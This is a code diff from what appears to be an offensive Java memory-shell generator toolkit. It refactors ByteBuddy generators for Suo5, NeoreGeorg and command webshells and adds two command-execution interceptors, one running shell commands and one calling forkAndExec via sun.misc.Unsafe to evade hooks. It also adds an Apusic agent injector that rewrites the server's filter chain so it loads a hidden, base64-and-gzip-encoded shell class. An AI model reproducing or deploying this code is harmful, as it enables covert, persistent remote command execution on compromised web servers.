public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.neoreGeorgConfig = neoreGeorgConfig;
|
||||
super(shellConfig, neoreGeorgConfig);
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(neoreGeorgConfig.getShellClass())
|
||||
.name(neoreGeorgConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("headerName", neoreGeorgConfig.getHeaderName());
|
||||
put("headerValue", neoreGeorgConfig.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder
|
||||
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,66 +1,27 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/12
|
||||
*/
|
||||
public class Suo5Generator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final Suo5Config suo5Config;
|
||||
public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||
|
||||
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.suo5Config = suo5Config;
|
||||
super(shellConfig, suo5Config);
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(suo5Config.getShellClass())
|
||||
.name(suo5Config.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("headerName", suo5Config.getHeaderName());
|
||||
put("headerValue", suo5Config.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder
|
||||
.field(named("headerName")).value(suo5Config.getHeaderName())
|
||||
.field(named("headerValue")).value(suo5Config.getHeaderValue());
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
}
|
||||
|
||||
+26
-30
@@ -1,24 +1,21 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.tongweb.web.thor.comet.CometEvent;
|
||||
import com.tongweb.web.thor.connector.Request;
|
||||
import com.tongweb.web.thor.connector.Response;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.memshell.server.Bes;
|
||||
import com.reajason.javaweb.memshell.server.TongWeb;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.field.FieldDescription;
|
||||
import net.bytebuddy.description.field.FieldList;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
@@ -31,6 +28,27 @@ public class ValveGenerator {
|
||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
if (serverVersion.equals("6")) {
|
||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||
} else if (serverVersion.equals("7")) {
|
||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||
} else if (serverVersion.equals("8")) {
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
} else if (shell instanceof Bes) {
|
||||
packageName = BES_VALVE_PACKAGE;
|
||||
}
|
||||
if (StringUtils.isEmpty(packageName)) {
|
||||
if (shell instanceof TongWeb) {
|
||||
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||
}
|
||||
|
||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||
private final String newPackageName;
|
||||
@@ -74,26 +92,4 @@ public class ValveGenerator {
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
|
||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(targetClass)
|
||||
.name(newClassName)
|
||||
.visit(new ValveRenameVisitorWrapper(packageName));
|
||||
|
||||
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
|
||||
builder = builder
|
||||
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
|
||||
.intercept(FixedValue.value(""))
|
||||
.defineMethod("event", void.class, Visibility.PUBLIC)
|
||||
.withParameters(Request.class, Response.class, CometEvent.class)
|
||||
.intercept(FixedValue.originType());
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+21
-47
@@ -1,22 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.*;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -24,25 +20,18 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final CommandConfig commandConfig;
|
||||
public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||
|
||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.commandConfig = commandConfig;
|
||||
super(shellConfig, commandConfig);
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (commandConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
||||
}
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(commandConfig.getShellClass())
|
||||
.name(commandConfig.getShellClassName())
|
||||
.field(named("paramName")).value(commandConfig.getParamName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("paramName"))
|
||||
.value(shellToolConfig.getParamName());
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
@@ -52,39 +41,24 @@ public class CommandGenerator {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
String shellType = shellConfig.getShellType();
|
||||
|
||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||
put("paramName", commandConfig.getParamName());
|
||||
}})
|
||||
);
|
||||
}
|
||||
|
||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||
builder = builder
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("getParam"),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
commandConfig.getShellClassName(),
|
||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||
)
|
||||
)
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(String.class)
|
||||
.throwing(Exception.class)
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||
}
|
||||
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
/**
|
||||
@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
|
||||
public class DoubleBase64ParamInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
|
||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
||||
}
|
||||
}
|
||||
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
public class ForkAndExecInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
try {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] bytes = strs[0].getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
|
||||
} catch (Throwable e) {
|
||||
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
public class RuntimeExecInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
||||
}
|
||||
}
|
||||
+219
@@ -0,0 +1,219 @@
|
||||
package com.reajason.javaweb.memshell.injector.apusic;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl";
|
||||
private static final String TARGET_METHOD_NAME = "performFilter";
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new ApusicFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
+14
-8
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicFilterInjector {
|
||||
|
||||
static {
|
||||
new ApusicFilterInjector();
|
||||
}
|
||||
|
||||
public ApusicFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
@@ -45,6 +41,11 @@ public class ApusicFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
/**
|
||||
* context: com.apusic.web.container.WebContainer
|
||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
||||
* /usr/local/ass/lib/apusic.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -56,12 +57,17 @@ public class ApusicFilterInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
